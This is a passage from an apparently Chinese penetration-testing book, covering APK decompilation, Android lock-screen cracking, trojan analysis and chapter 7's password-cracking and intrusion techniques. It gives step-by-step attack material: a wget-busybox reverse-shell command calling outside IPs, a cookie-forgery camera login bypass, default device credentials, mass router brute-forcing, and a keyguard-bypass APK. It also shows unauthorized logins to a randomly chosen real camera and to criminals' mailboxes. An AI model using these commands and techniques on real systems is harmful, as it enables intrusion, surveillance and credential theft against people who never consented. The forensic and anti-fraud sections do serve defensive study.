如果给定的<dir>已经存在，那么输入该命令后会给出提示，且命令无法执行。这时需要重新修改命令，加入“-f”指令，示例如下。

APKTool d –f <file.apk> <dir>

这样就会强行覆盖已经存在的文件。

（2）编译apk

该命令用于编译修改好的文件，一般用法如下。

APKTool b <dir>

这里的“<dir>”就是反编译时输入的“<dir>”（如“C:\MusicPlayer”）。输入这行命令后，如果一切正常，我们会发现C:\MusicPlayer目录下多了2个文件夹，分别是“build”和“dist”，其中分别存储着编译过程中逐个编译的文件及最终打包的apk文件。

（3）安装命令

install-framework命令用于为ApkTool安装特定的framework-res.apk文件，以便反编译一些与ROM相互依赖的apk文件。

2.dex2jar

dex2jar是一个能操作Android的dalvik（dex）文件格式和Java的class文件的工具集合。dex2jar可以将dex文件转换成Java的class文件，即将apk反编译成Java源码（将classes.dex转化成jar文件）。

dex2jar的下载地址为https://sourceforge.net/projects/dex2jar/，最新版本为dex2jar 2.0。

3.JD-GUI

JD-GUI用于查看APK中classes.dex转化出的jar文件，即源码文件，对代码文件进行查看。官方网站下载地址：https://github.com/java-decompiler/jd-gui/releases。

6.1.2 使用ApkTool反编译apk

下面讲解如何使用ApkTool反编译apk。

01 反编译APK程序文件

将下载的ApkTool安装文件解压，获取aapt.exe、APKTool.bat和APKTool.jar共3个文件，最新版本的APKTool_2.0.3.jar需要将文件重新命名为APKTool.jar，将需要反编译的APK文件放到该目录下，运行“cmd”命令，打开命令行提示窗口，定位到ApkTool的文件夹。输入命令“APKTool.bat d -f 1.0.0.apk test”进行反编译，如图6-1所示，“1.0.0.apk”指的是要反编译的APK文件的全名，“test”为反编译后存储资源文件的目录名称，即“APKTool.bat d -f [apk文件] [输出文件夹]”。在“test”文件夹中会生成apk反编译的各种文件，如图6-2所示。

图6-1 使用ApkTool反编译apk

图6-2 反编译后生成的文件

02 重新生成apk文件

对apk进行反编译后，可以修改其中的代码，使其符合个人的需求。然后，输入“APKTool.bat b test”命令，重新将其进行编译。编译完成后会在“test”文件下创建“build”和“dist”文件夹，“dist”文件夹中存放着打包后的apk文件，如图6-3和图6-4所示。

图6-3 编译apk文件

图6-4 重新生成apk文件

6.1.3 使用dex2jar反编译apk

下面讲解如何使用dex2jar反编译apk。

01 重命名并解压apk文件

将需要反编译的APK后缀名改为“.rar”或者“.zip”，解压后即可得到其中的classes.dex文件。classes.dex是Java文件编译再通过dx工具打包而成的，将获取的classes.dex文件放到之前解压的工具dex2jar的文件夹内。在“dex2jar”文件夹下新建一个cmd.bat文件，内容为“cmd.exe”，打开该文件即可进入命令提示行窗口。在其中输入“dex2jar.bat classes.dex”命令进行反编译，如图6-5所示，将classes.dex文件反编译成classes_dex2jar.jar文件。

图6-5 使用dex2jar反编译apk文件

02 使用JD-GUI程序查看源代码

使用jd-gui.exe程序打开“dex2jar”目录下生成的classes_dex2jar.jar文件，即可看到源码，效果如图6-6所示。

图6-6 查看Java源码

6.1.4 使用smali反编译apk

smali最早的下载地址为http://code.google.com/p/smali/downloads/list，目前Google已将其下架，用户可以到https://github.com/JesusFreke/smali下载，其最新版本为2.0.5。

1.反编译apk程序

首先把baksmali-2.0.5.jar和smali-2.0.5.jar文件放到Android SDK安装路径下的“tools”文件夹里，用WinRAR解压apk，提取classes.dex文件并将其放入“tools”文件夹，然后在命令行界面打开“tools”目录，输入如下Java命令。

java -jar baksmali-2.0.5.jar -o classout/ classes.dex

使用以上命令的前提是path路径中有Java安装目录下的“bin”文件夹路径，这样才可以在任意路径下使用Java命令，此外要在“classout/”后面加一个空格。把c:\classes.dex文件反编译为smali文件，输出到c:\classout目录下。

2.编译apk

编译apk的命令如下。

java -jar smali-2.0.5.jar c:\classout/ -o c:\classes.dex

把c:\classout目录下的smali文件编译为c:\classes.dex。

6.2 Android手机屏幕锁解锁技术

随着移动通信技术的发展，手机及智能终端成为人们工作和生活中必不可少的设备，其内置的操作系统能达到类似于计算机的功能，且拥有许多移动通信特有的应用和服务，如微信、移动支付等。Kantar Worldpanel的最新报告显示，搭载Android系统的移动终端数量在中国的主要城市呈现强劲的增长态势。

与此同时，利用智能手机实施犯罪的情况及由此造成的损失与日俱增。手机取证正是打击此类犯罪和收集犯罪证据的有力手段。通过查看涉案智能手机上的相关数据，能为案件的侦破提供关键的证据和线索。但是，在实际取证过程中，由于有些智能手机使用了屏幕锁技术，导致在进行电子数据取证时困难重重。

本节将对Android系统的各种屏幕锁的原理进行详细分析，并有针对性地讲解相应的解锁方法。

6.2.1 Android屏幕锁的分类

图6-7 屏幕锁定方式

在Android系统中，屏幕锁定方式包括“无”、“滑动”、“人脸解锁”、“图案”、“PIN”和“密码”6种，如图6-7所示。其中，“无”和“滑动”两种方式属于无保护状态，无须解锁即可进入系统进行操作；“人脸解锁”是一种误差较大的识别方式，通过相近的脸、照片、视频等方式即可解锁。本节主要讲解已root Android系统的“图案”、“PIN”、“密码”3种屏幕锁的解锁方法。

6.2.2 图案锁定及解锁

在Android设备上通过图案来锁定屏幕是最为常用的一种安全措施，用户可以通过设置锁定图案对设备的用户界面进行锁定。图案锁定设置界面如图6-8所示。

图6-8 设置解锁图案

1.图案锁定原理

Android设备的锁定界面由一个3×3矩阵（共9个点）组成，设定图案必须满足两个基本要求：一是图案必须包括至少4个点（Android 2.3.3之前的版本为至少3个点）；二是每个点只能被使用1次，最多使用9个点。

Android图案解锁在设备中的存储方式是将图案上的点进行编码，然后将编码通过散列算法SHA1进行加密，最后存储在系统文件夹“data”中，如图6-9所示。

图6-9 图案密码转换存储过程

图6-10 图形编码

图形输入：如图6-10所示，就像设置解锁图案一样在解锁屏幕时输入之前绘制的图案。

图形编码：Android系统会自动将9个点进行编码，将图形化的数据转换成数字化的数据。转换方式为：左上角的点编号为00，第一排依次为00、01、02，右下角的点编号为08，如图6-10所示。由此可知，如图6-8所示图案的编码为“0003060708”。

编码加密：使用SHA1算法对上述十六进制编码“0003060708”进行计算，得到密文“c8c0 b24a15dc-8bbfd411427973574695230458f0”。

密文存储：系统计算出相应密文之后，会将密文存储在“/data/system/gesture.key”文件中。

2.图案锁定解锁

了解Android图案密码的建立过程之后，可通过以下3个步骤来解锁图案屏幕锁。

01 获取密文文件

运行“adb pull /data/system/gesture.key gesture.key”命令将密码文件下载到本地，或者运行“adb shell cp /data/system/gesture.key /sdcard/gesture.key”命令将密码文件复制到SD卡中，如图6-11所示。使用Ultraedit打开该文件，可以看见十六进制数据，由此可知，该数据和之前采用编码加密的数据是一样的。

图6-11 密文存储文件

02 研究编码规则

从图形编码来看，各奇数位数字都为0，偶数位数字不重复排列，并对这个排列进行单次SHA1运算。通过计算可知，由于奇数位确定，偶数位不重复（从0到8），则根据之前的图案锁定规则，可以设置的锁定图案总数是一定的。4个节点的密码个数为3024（9×8×7×6）；5个节点的密码个数为15120；6个节点的密码个数为60480；7个节点的密码个数为181440；8个和9个节点的密码个数为362880；密码总数为985824个。可见，密码的可选范围不大，解锁相对比较容易。

密文解锁：通过生成字典进行暴力破解或者生成彩虹表进行查询，可以很快将正确的明文编码解锁。根据密码的数量，图案锁在1分钟之内就能解锁。

6.2.3 PIN和密码锁定及解锁

在Android设备上较强的加密方式还有使用PIN和密码进行屏幕锁定。这两种屏幕锁定方式在Android 2.2之后的版本中可以使用。解锁界面如图6-12所示，左边为密码解锁界面，右边为PIN解锁界面。

图6-12 解锁界面

1.PIN和密码原理

两种解锁方式必须满足以下两个基本要求：输入的字符不能少于4个数字（PIN）、输入的字符不能少于4个且必须包含至少1个字母（密码）；输入的字符必须少于17个。

Android系统将通过这两种方式生成的密文存储在/data/system/password.key文件中，如图6-13所示。该文件中存储了一组SHA1的Hash值和一组MD5的Hash值，共72字节。

图6-13 密文文件内容

与图案散列加密不同的是，这两种屏幕锁定方式在散列加密时加入了salt值，该值存放在/data/data/com.android.providers.settings/databases/settings.db文件中。打开SQLite数据库文件settings.db，可以看到secure表中有字段lockscreen.password_salt，该字段的值就是散列加密中用到的salt值。系统会使用如下代码段将用户输入的PIN或者密码的明文转换成密文，然后存储在password.key 文件中。

public byte[] passwordToHash(String password)｛
    if(password == null)｛
      return null;
    ｝
    String algo = null;
    byte[] hashed = null;
    try｛
      byte[] saltedPassword = (password + getSalt()).getBytes();
      byte[] sha1 = MessageDigest.getInstance(algo = "SHA-1").digest(saltedPassword);
      byte[] md5 = MessageDigest.getInstance(algo = "MD5").digest(saltedPassword);
      hashed = (toHex(sha1) + toHex(md5)).getBytes();
    ｝catch(Exception e)｛
      Log.w(TAG, "Failed to encode string because of missing algorithm:" +
algo);
    ｝
return hashed;

具体的转换方式为：将输入的密码和salt值拼接，分别进行SHA1散列和MD5散列，将40字节的SHA1散列和32字节的MD5散列拼接后存储在password.key文件中。

2.PIN和密码解锁

在理解两种锁定方式的加密原理之后，形成一套行之有效的解锁方法就不是一件难事了。获取屏幕解锁密码需要经过以下3步。

01 获取 /data/system/password.key文件，并将其中的SHA1或MD5散列密文取出。

02 获取 /data/data/com.android.providers.settings/databases/settings.db文件，并将其中的salt值取出。

03 使用Hashcat、PasswordsPro等工具进行解密。解密的时间取决于锁定密码的强度，密码的位数越多，解密的时间就越长。

6.2.4 更多解锁方法

除了使用上述屏幕锁解锁方法之外，还有其他解锁方法。

1.锁定清除

当密码比较复杂，在短时间内无法解锁，并且取证工作对于手机某些文件夹中的文件没有完整性要求时，可以通过删除或替换/data/system文件夹中的对应密文存储文件gesture.key或password.key达到解除屏幕锁定的目的。删除了对应密文存储文件之后，使用任意密码都能解锁屏幕；替换了对应密文存储文件之后，使用替换密文对应的解锁方式就能解锁屏幕。

2.锁定绕过

Android系统通过KeyguardLock类控制锁屏服务的开启和关闭。调用该类的方法disableKeyguard可以关闭锁屏服务，从而达到不输入密码就绕过锁屏界面的目的，示例如下。

KeyguardManager manage = (KeyguardManager)getSystemService(KEYGUARD_SERVICE);
//获取当前屏幕状态
If(manage.inKeyguardRestrictedInputMode()){
                KeyguardLock keyguard = manage.newKeyguardLock(getLocalClassName());
                Keyguard. disableKeyguard ();
                }
//如果处于锁定状态，通过disableKeyguard函数绕过锁定

将以上代码编译成开机自启动的APK程序，安装到被锁定的手机上，重启之后将不再显示锁屏界面，而是直接进入系统。

3.JTAG接口

要想在没有被root的Android智能终端上获取相应的解锁信息，需要先使用JTAG接口将手机内存芯片中的数据dump到本地计算机，然后找出对应的密文文件gesture.key和password.key，并通过关键字找出lockscreen.password_salt的值，最后就可以使用6.2.3节介绍的方法解锁了。

6.3 钓鱼网站APK数据解密与分析

目前，以“积分兑换”名义兴起的钓鱼网站横行于互联网，多数网民曾收到这类诱骗登录后安装手机木马的钓鱼短信，而手机一旦被植入木马将很难删除。木马会窃取手机用户的大量个人隐私，并通过短信广播对手机通讯录中的所有联系人群发钓鱼短信，以扩大感染面积。保守估计，2015年网民通过各类钓鱼短信及诈骗短信损失的金额约百亿元。

猎豹安全实验室的云端监控数据显示，某月截获的“短信拦截”类样本变种数量超过10万个，影响用户数达数百万。短信拦截木马作为安卓手机病毒的一类常见样本，近年来显现出爆发增长的趋势，其背后的黑色产业链也日益发展壮大，短信拦截木马的日趋泛滥已经成为移动支付、网银财产等环节的重点安全问题。

6.3.1 收集手机木马文件

收集手机木马文件的步骤如下。

01 收集欺诈网站地址

在日常生活中，我们经常会收到“10086”号码发送的短信通知，告知用户进行积分兑奖，然后给出一个短链接地址或者正常的网站地址，单击该地址会要求用户输入银行卡密码、手机号码、银行卡号、姓名等敏感信息，同时还会要求用户下载apk文件。例如，在某短信中提及的网站“l0086wrd.cc”明显不是10086的官方网站，而是典型的10086移动积分兑换网站。用户在登录网站的过程中输入银行卡信息，完成后跳转到木马下载页面，如图6-14所示。

02 下载并反编译手机apk木马文件

将下载的apk木马文件解压，可以找到存放主要数据的文件classes.dex。下载baksmali.jar文件，下载链接为https://github.com/JesusFreke/smali。执行反编译命令“java -jar baksmali.jar -o /root/output”，将dex文件提取至output目录，然后分析该木马的行为，大致流程如图6-15所示。

图6-14 要求用户下载手机apk木马文件

图6-15 短信拦截木马的工作流程

6.3.2 分析手机木马程序

下面我们分析一下这个木马程序。

1.获取邮箱账号

查看Java源代码。从前面的流程中我们分析出该短信拦截木马的主要数据渠道为电子邮件，所以木马的数据文件中一定保存着接收手机信息的邮箱账号和密码。在其代码中，我们果然找到了如图6-16所示的代码。

图6-16 获取邮箱账号

2.获取更多信息

通过对文本内容的检索，定位到“com/phone/db/a.smali”文件。该文件中保存着木马控制者的收信信息。同时我们也了解到，该木马存在授权时间，因此可知该木马为商业用途的木马。

分析a.smali文件，得到该木马控制者控制端的手机号、邮箱账户、邮箱密码等信息。

通过得到的信息登录邮箱，可以查看邮箱中存放的大量被害用户的短信内容，如图6-17所示。

图6-17 进入邮箱

6.3.3 编写自动提取木马敏感信息的程序

下面介绍如何编写一个自动提取木马敏感信息的程序。

1.自动提取账号和密码的思路

既然我们已经知道了保存key的文件路径，那么编写一个自动提取账号和密码的脚本就可以实现批量解密。利用Python编写自动提取账号和密码的脚本，思路如下。

01 利用baksmali.jar直接将dex文件数据提取出来（前提是已配置好JDK环境）。

02 定位apk账号和密码的路径（为了演示方便，笔者没有采用遍历目录查找文件内容的方式，有兴趣的读者可以自行尝试）。

03 通过Python的OS库控制Shell执行系统命令。在本例中没有进行容错处理，默认操作系统为Linux。

04 完善输出信息。保存提取的信息，并自定义数据存储目录。

主要函数如图6-18所示。

2.运行脚本

脚本编写很简单，并未进行过多的容错处理。这里的思路只是提取同类型（如“10086”）的短信拦截木马内容。但是目前除了短信拦截木马，还有其他类型的Android手机木马，该类木马存储收信账号和密码的文件路径并不固定，所以需要对文件夹中文件的内容进行查找。

我们找到另一个“10086”积分钓鱼网站测试一下脚本的运行情况。运行命令“python unkey.py 10086.apk”，成功输出信息，如图6-19 所示。

图6-18 主要函数

图6-19 测试脚本

3.查看结果

账号和密码从脚本中成功提取出来，日志信息保存在本地目录的10086.txt文件中，如图6-20所示。

图6-20 查看提取结果

6.4 对一款手机木马的分析

随着智能手机的普及，网络安全离我们不再遥远，智能硬件漏洞、淘宝刷单等已经开始影响我们的生活，这也要求我们必须具有安全意识和安全常识。短信诈骗、冒充公检法机关欺诈、冒充家长转账的新闻常常见诸报端，其实这些手段并不高明——在收到这类信息后，冷静下来，仔细思考，认真核对，就能避免上当。下面给出一个案例来揭露手机APK短信欺骗。

6.4.1 对手机短信进行分析

在收到手机短信后，应当冷静地对其进行分析，步骤如下。

01 分析短信内容

在微信朋友圈中，笔者看到一位朋友发了一幅截图，如图6-21所示。短信内容很蹊跷：“**家长您好！这是贵子女新学期的体检报告和分班情况t.cn/RGHX9ml请您及时激活查看【和教育】”。对该短信进行分析，能够发现以下疑点。

图6-21 奇怪的短信

在该短信中明确显示了家长的真实姓名，应该是获取了通讯录联系人信息。

短信是陌生用户发送的，而非是好友或者学校老师发送的。

短信内容明显与学校发送的正常短信内容有异。目前，很多学校会通过微信群发送通知，而使用短信发送通知的比较少。

短信中涉及短地址，而学校一般不会发送短地址。

02 还原链接地址

通过百度搜索到一个还原短地址的网站，如图6-22所示，在其中输入短信中提及的链接地址“t.cn/RGHX9m1”，将其还原为真实地址“http://link.zhihu.com/?target= http%3A//172.246.236.186:8080/3446/ziliaoRV.apk”，再变换一下，结果为“http:// link.zhihu.com/?target=http://172.246.236.186:8080/3446/ziliaoRV.apk”。

图6-22 还原短地址为真实地址

该短信的真实目的是诱导手机用户下载文件“http://172.246.236.186:8080/3446/ ziliaoRV.apk”。也可以直接访问该短地址，访问后会自动跳转到目标网站并下载。如果使用手机访问，会自动下载apk程序并安装。

注意

千万不要安装！千万不要安装！千万不要安装！重要的事情说3遍！

03 获取apk程序

在浏览器地址栏中输入获取的地址“http://172.246.236.186:8080/3446/ziliaoRV.apk”进行下载，如图6-23所示，显示该文件已经被移除了。通过其文件名称可以判断该程序有多个版本、目的是什么——除了病毒程序，没有什么程序会这么做。我们通过猜测和扫描，获取了2套apk程序，分别是http://172.246.236.186:8080/0983/ziliao.apk和http://172.246.236.186:8080/1966/ziliao.apk。

图6-23 apk程序已经下架

04 查询IP地址

收到不明短信后，不要第一时间打开或者执行其中的操作，可以先到网上搜索一下。如图6-24所示，经过查询，获知该IP地址在美国，也就是说，服务器是在美国托管的。为中国的中小学提供服务的服务器竟然是在美国托管的？据笔者所知，中国的学校大都使用校园网或者教育网，所以这条短信非常可疑。

图6-24 服务器在美国托管

05 下载程序

使用浏览器对apk程序进行下载，如图6-25所示，可以看到该程序仅561kb。将程序下载到本地后，360安全卫士立即报警，显示该手机文件存在恶意行为，直接对其进行了隔离，如图6-26所示。

图6-25 下载并获取程序

图6-26 360安全卫士查杀apk程序

至此可以肯定，该短信存在问题，通过诱导手机用户下载apk，完全控制用户的手机，这就是我们经常听说的手机木马。

6.4.2 对APK进行反编译和追踪

获得可疑短信背后的手机木马后，我们就可以对该apk文件进行反编译，并对其行为进行追踪了。

1.反编译apk程序

反编译apk程序的步骤如下。

01 反编译程序

使用dex2jar 0.0.9.15对ziliao.apk文件进行反编译。将ziliao.apk解压到本地，将“ziliao”文件夹中的classes.dex文件复制到“dex2jar-0.0.9.15”文件夹下，执行命令“dex2jar.bat classes.dex”进行反编译，但出现了错误，如图6-27所示。

图6-27 反编译失败

技巧

（1）可以直接将classes.dex文件拖动到dex2jar.bat文件上，程序会自动生成classes_dex2jar.jar文件，如图6-28所示。

图6-28 反编译程序成功

（2）可以使用“d2j-dex2jar.bat classes.dex”命令进行反编译。

02 使用JD-GUI查看Java源代码

使用JD-GUI程序打开classes_dex2jar.jar文件，逐一查看Java程序代码。可以使用“Search”菜单对关键字（如“Email”、“password”、“sina.com”、“163.com”、“.com”、“.cn”）进行搜索。手机木马及其邮箱信息一般都保存在com/phone/db/a.class文件中。如图6-29所示，成功获取其用于接收信息的电子邮箱及密码。

03 登录邮箱并查看邮件内容

使用获取的邮箱账号和密码登录邮件服务器，如图6-30所示，该邮箱收到了14封邮件，邮件内容主要是挂马手机的通讯录和短信等信息。

图6-29 获取邮箱及其密码

图6-30 查看邮件内容

该apk程序会将受害者手机中的通讯录信息全部上传，这就解释了匿名者发送短信时是如何获取家长真实姓名的。

2.追踪apk程序

单击标题为“全部短信（68510027902492）”的邮件，该邮件的发件人为“a13145771966”，其邮箱“a13145771966@sina.com”就是apk指定的邮箱地址，如图6-31所示。

图6-31 追踪邮件内容

安装了该apk程序的用户会自动将其手机中的全部短信发送到a13145771966 @sina.com这个邮箱中。该木马控制手机后，可以直接进行银行转账，如图6-32所示。

图6-32 实施银行转账

6.4.3 手机APK安全防范

手机APK程序类似于Windows程序，手机木马类似于Windows木马。下面是一些可供参考的防范方法。

1.涉及敏感信息的手机要独立使用

为了保证手机交易的安全，在需要使用各种“宝宝”（如支付宝）进行支付的手机，以及绑定银行卡的手机上，一定不要安装来历不明的APK程序，甚至最好不要安装其他APK程序，连手机游戏都不要安装（目前，很多黑产已经盯上正规的APK程序，能够修改或者绑定手机木马到正常的APK程序中，手机游戏是“重灾区”）。

2.通过现实交流进行核实

仔细核对短信内容是特别重要的。不管收到什么样的短信，都不要着急，也不要立刻按照短信内容进行操作，而是要冷静下来，通过现实手段进行核实和排除。例如，到与信息内容相关的机构进行咨询，通过座机对来电进行识别，向家人进行核对和求助，从而检验信息的真实性。

3.通过技术手段进行核实

在本案例中有很多可疑的地方。针对短链接地址，可以通过搜索引擎进行查询。使用“ping www.somesite.com”命令能够获取网站的真实IP地址（有些恶意信息中给出的地址就是数字IP地址）。此外，查询IP地址所在地点也能排除欺诈。

4.使用计算机下载APK程序并进行病毒查杀

通过计算机下载APK程序，并使用计算机的杀毒软件进行查杀。一般的杀毒软件都能识别该APK是否为恶意程序。此外，可以通过APK程序的大小进行判断，通常木马程序APK的体积小于2MB。

第7章

其他类型密码的获取与破解

在前面几章种讨论了操作系统、数据库、邮件、无线密码及APK密码获取与破解方面的内容，在网络渗透过程中还会涉及很多有关密码获取与破解的知识，如Rar文件解密、Word密码加密与解密等。在本章中主要介绍涉及密码获取与破解的“杂项”，也即一些偏门的密码获取与破解，掌握这些知识点将有助于后续渗透或者目标网络的控制。

本章主要内容

pcAnywhere账号和口令的破解

使用Router Scan扫描路由器密码

使用ZoomEye渗透网络摄像头

Discuz!管理员复制提权技术

RAR加密文件的破解

一句话密码破解获取某网站WebShell

使用Burp Suite破解WebShell密码

Radmin远控口令攻防全攻略

通过扫描Tomcat口令渗透Linux服务器

VNC认证口令绕过漏洞攻击

Serv-U密码破解

使用Cain嗅探FTP密码

利用Tomcat的用户名和密码构建后门

破解静态加密软件

Word文件的加密与解密

Citrix密码绕过漏洞引发的渗透

从渗透扫描到路由器跳板攻击

手工检测“中国菜刀”是否包含后门

FlashFXP密码的获取

7.1 pcAnywhere账号和口令的破解

通过一些攻击方法和手段取得了远程计算机的控制权后，可以利用其他远程控制软件查找系统中的CIF文件，通过破解CIF文件获取pcAnywhere的账号和密码，进而通过pcAnywhere客户端对远程主机进行完全控制等操作。pcAnywhere是一款比较流行的远程控制软件，其控制原理与Radmin等远程控制软件类似，需要账号和口令。不同的用户会根据个人喜好选择不同的远程管理软件，在很多情况下，管理员可能使用某一款远程管理软件管理多台计算机，根据其口令进行猜测或者安装键盘嗅探软件获取口令等信息可以渗透其内网和外网计算机。

7.1.1 在本地查看远程计算机是否开放了5631端口

pcAnywhere默认的开放端口为5631。在DOS提示符下输入“sfind -p *.*.*.19”命令查看该IP地址的端口开放情况，结果表明该计算机开放了5631端口，也就是说，该计算机使用pcAnywhere软件作为远程控制软件的服务端，如图7-1所示。

图7-1 查看远程主机是否开放了5631端口

7.1.2 查找pcAnywhere账号和密码文件

通过各种攻击方法和手段成功控制该计算机以后，在其Shell或Telnet中查找pcAnywhere的账号和密码文件。pcAnywhere的账号和密码保存在一个后缀为“.cif”的文件中，在系统目录中输入命令“dir *.cif /s”，查找系统磁盘中的所有CIF文件。在本例中找到两个CIF文件，如图7-2所示，第一个文件是保存pcAnywhere账号和密码的文件，第二个是无用文件。

图7-2 查找pcAnywhere账号和密码文件

7.1.3 将CIF加密文件传输到本地并进行破解

在本例中，使用Radmin的文件传输功能将文件传输到本地，然后通过pcAnywherePWD进行破解。直接运行pcAnywherePWD，在“文件”对话框中选择刚传输回来的CIF文件，单击“解密”按钮，其账号和密码就显示出来了，如图7-3所示。

图7-3 破解pcAnywhere的账号和密码

7.1.4 连接pcAnywhere服务端

pcAnywhere的安装比较简单。安装完毕后，直接运行pcAnywhere软件，在新建连接向导中输入IP地址“*.*.*.19”，并单击“完成”按钮，双击“*.*.*.19”地址所对应的标签，根据网络情况，很快就会出现pcAnywhere的服务端，要求输入用户名和密码，验证正确后可以进行完全控制等操作。如图7-4所示，通过pcAnywhere客户端对pcAnywhere服务端的操作就像对本地计算机操作一样方便。

图7-4 连接pcAnywhere服务端

注意

（1）通过pcAnywhere远程控制他人计算机时，该远程控制软件在完全控制模式下鼠标和屏幕是同步的，也就是说，如果用户正在使用远程肉机，那么他会感觉到有人在操作其鼠标和屏幕。所以，远程控制时攻击者的操作速度很快，且会选择用户没有使用该计算机（肉机）时进行操作。

（2）攻击者拥有远程计算机（肉机）的pcAnywhere账号和口令后，如果用户没有更改用户名和密码，则相当于拥有一个不被查杀的后门。

7.2 使用Router Scan扫描路由器密码

Router Scan是一款路由器安全测试工具，可以指定IP地址段对路由器进行暴力破解等安全测试，支持TP-LINK、Huawei、Belkin、D-Link等各大品牌型号的路由器。Router Scan是俄罗斯安全人员开发的一套安全测试工具，目前已经对源代码进行开源，最新版本为2.47，官方网站地址为http://stascorp.com/load/1-1-0-56。该软件善于寻找和确定不同的设备，发现大量已知的路由器或服务器，最重要的是，能把其中有用的信息扫描出来，且使用过程非常简单。

7.2.1 运行Router Scan 2.47

Router Scan 2.47有汉化版本，不过有些版本的杀毒软件会提示其携带病毒，所以最好到官方站点下载。Router Scan是免安装软件，直接运行可执行程序RouterScan.exe即可，其界面如图7-5所示。Router Scan 2.47在Router Scan 2.44的基础上做了一些改动，可以编辑扫描IP地址范围、自动保存结果，并增加了一些扫描模块。

图7-5 运行Router Scan程序

7.2.2 设置Router Scan扫描参数

下面介绍Router Scan扫描参数的设置。

1.设置扫描端口

在Router Scan中，一共有6个地方需要设置参数，最大线程使用默认值（100）即可，超时也不用修改。在“Scan ports”（端口扫描）设置区单击“＋”按钮，可以增加自定义路由器扫描端口，这对修改默认路由器端口为其他端口的扫描特别有用。如图7-6所示，在弹出的对话框中输入数字端口号即可，如“443”表示对“443”端口进行扫描并破解。

图7-6 增加扫描端口

2.设置扫描IP地址的范围

在“Enter IP ranges to scan”（IP地址扫描范围）设置区单击“＋”按钮可以增加待扫描IP地址，也可以通过修改ranges.txt文件的内容进行扫描，如扫描IP地址段124.205.0.1～124.205.255.255，表示扫描“124.205”的B段，如图7-7所示，也可以扫描某一个IP地址。另外，可以单击“E”按钮，直接编辑扫描范围，以便对地址段进行编辑和扫描，如图7-8所示。

图7-7 设置扫描IP地址的范围

图7-8 对IP地址段进行编辑

3.设置其他参数

如图7-9所示，默认自动保存扫描结果，可设置扫描代理服务器等信息。单击“Start scan”按钮开始扫描，扫描结果会在“Realtime Stats”标签页中实时显示。

4.自定义字典

在扫描软件目录中打开auth_basic.txt文件，如图7-10所示，添加账号和密码，账号和密码用空格隔开，可以使用“//”进行注释，以便维护字典。

图7-9 设置其他参数

图7-10 增加字典

7.2.3 查看并分析扫描结果

在Router Scan中提供了扫描状态和结果显示，如图7-11所示，状态和结果都在软件的下方，可以通过“Realtime Stats”、“Good Results”和“Search Results”标签页查看。对扫描的结果，可以选中目标，右键单击直接访问有结果的目标，如图7-12所示。

图7-11 查看扫描结果

图7-12 访问被破解站点

7.3 使用ZoomEye渗透网络摄像头

网络摄像头（IP Camera）在日常生活中越来越普及，常用于交通路口抓取车牌号码、公共场所安全监控、停车场车牌号码识别等。这些摄像头会与计算机或者摄像机等硬件设备连接，以便进行图像的存储和回访。现在很多摄像头直接与网络连接，以方便用户通过浏览器或客户端进行连接、管理和查看。原本使用摄像头的目的是方便查看，但由于一些厂商对安全的重视程度不够，致使黑客通过技术手段可以方便地对存在漏洞的网络摄像头进行控制，在有些情况下，还可以获取网络摄像头所在服务器的权限，甚至渗透该摄像头所在的网络，危害非常大。

7.3.1 摄像头常见漏洞分析

Andrew Tierney在其博客上公布了一篇有关摄像头漏洞利用的文章（https://www. pentestpartners.com/blog/pwning-cctv-cameras/），文章的核心内容归纳如下。

1.弱口令漏洞

多款网络摄像头都发现了弱口令漏洞，举例如下。

Mvpower 8 Channel Security DVR（国内用户称之为“CCTV网络摄像头”）：用户名为“admin”，密码为空。

海康威视IP网络摄像机：超级用户“admin”，密码“12345”。

大华网络摄像机：用户名“admin”，密码“888888”。

天地伟业网络摄像机：用户名“Admin”，密码“111111”。

2.登录密码绕过漏洞

对之前使用默认密码成功登录的页面进行抓包，找到处理页面登录逻辑的JS代码。对处理页面登录的逻辑进行分析，发现存在登录绕过漏洞，代码如下。

$(document).ready(function(){
 dvr_camcnt = Cookies.get("dvr_camcnt");
 iSetAble = Cookies.get("iSetAble");
 iPlayBack = Cookies.get("iPlayBack");
 dvr_usr = Cookies.get("dvr_usr");
 dvr_pwd = Cookies.get("dvr_pwd");
 if(iSetAble == '0'){
  $('#pb_settings').css('display','none');
  }
 if(iPlayBack == '0'){
  $('#pb_review').css('display','none');
  }
 if(dvr_camcnt == null || dvr_usr == null || dvr_pwd == null)
 {
  location.href = "/index.html";
 }

系统管理页面直接通过JS程序检查cookie是否为空来判断用户是否已经登录——现在竟然还有程序员这样编写判断登录状态的代码，安全性实在太低了。因此，通过伪造cookie便可以绕过登录检查。通过代码可以看出，需要伪造3个cookie值，分别是dvr_camcnt、dvr_usr=admin和dvr_pwd=123。

直接打开http://xx.xx.xx.xx/view2.html页面并抓包，发现系统会自动设置该cookie参数的值。需要把这个值记录下来，否则后面填错的话是看不到监控内容的。

dvr_usr和dvr_pwd可以随便设置，只要不为空就好，如图7-13所示。保存后，刷新页面http://xx.xx.xx.xx/view2.html，便可以成功登录系统。

图7-13 密码绕过漏洞

3.直接获取WebShell及其root密码

直接访问页面http://www.antian365.com/shell?cat/etc/passwd，即可获取服务器root账号的密码，如图7-14所示。该root账号的密码密文为“a03e3thxwWU0g”，经破解，其明文为“juantech”。

图7-14 获取WebShell

4.获取反弹Shell

执行以下命令，将反弹Shell至122.115.47.39的8000端口。

cd /root/rec/a1 &amp;&amp; wget http://212.111.43.161/busybox &amp;&amp;chmod +x
busybox&amp;&amp; ./busybox  nc 122.115.47.39 8000 -e /bin/sh -e /bin/sh

还可以执行命令“http://www.antian365.com/shell?/usr/sbin/telnetd -l/bin/sh -p 25”，通过远程登录目标IP地址的方法直接进入系统。

7.3.2 实战演练

通过7.3.1节的漏洞分析，我们可以对存在漏洞的网络摄像头进行实际漏洞测试，以验证漏洞的真实性，并掌握漏洞的利用方法。

1.确定网络摄像头的关键字

在Kali Linux中打开banner-grab，填写设备的IP地址和Web端口号，抓取结果如图7-15所示，其中关键字为“Server”后的字符串“JAWS”。

图7-15 获取关键字

2.快速获取存在的目标服务器

可以使用ZoomEye进行检索，输入地址“https://www.zoomeye.org/search?q=JAWS”直接进行查询。也可以使用Shodan进行检索（https://www.shodan.io/search?query= JAWS%2F1.0）。

如图7-16所示，ZoomEye耗时0.096秒，获取了37726条结果，找到了34263台主机。

图7-16 检索关键字“JAWS”

3.随机对目标进行访问

在检索结果中随机访问。打开主机http://223.255.146.74/，输入用户名“admin”，密码为空，直接登录系统，如图7-17所示， 可以查看被监控房间的画面。

图7-17 获得访问权限

4.直接获取访问密码

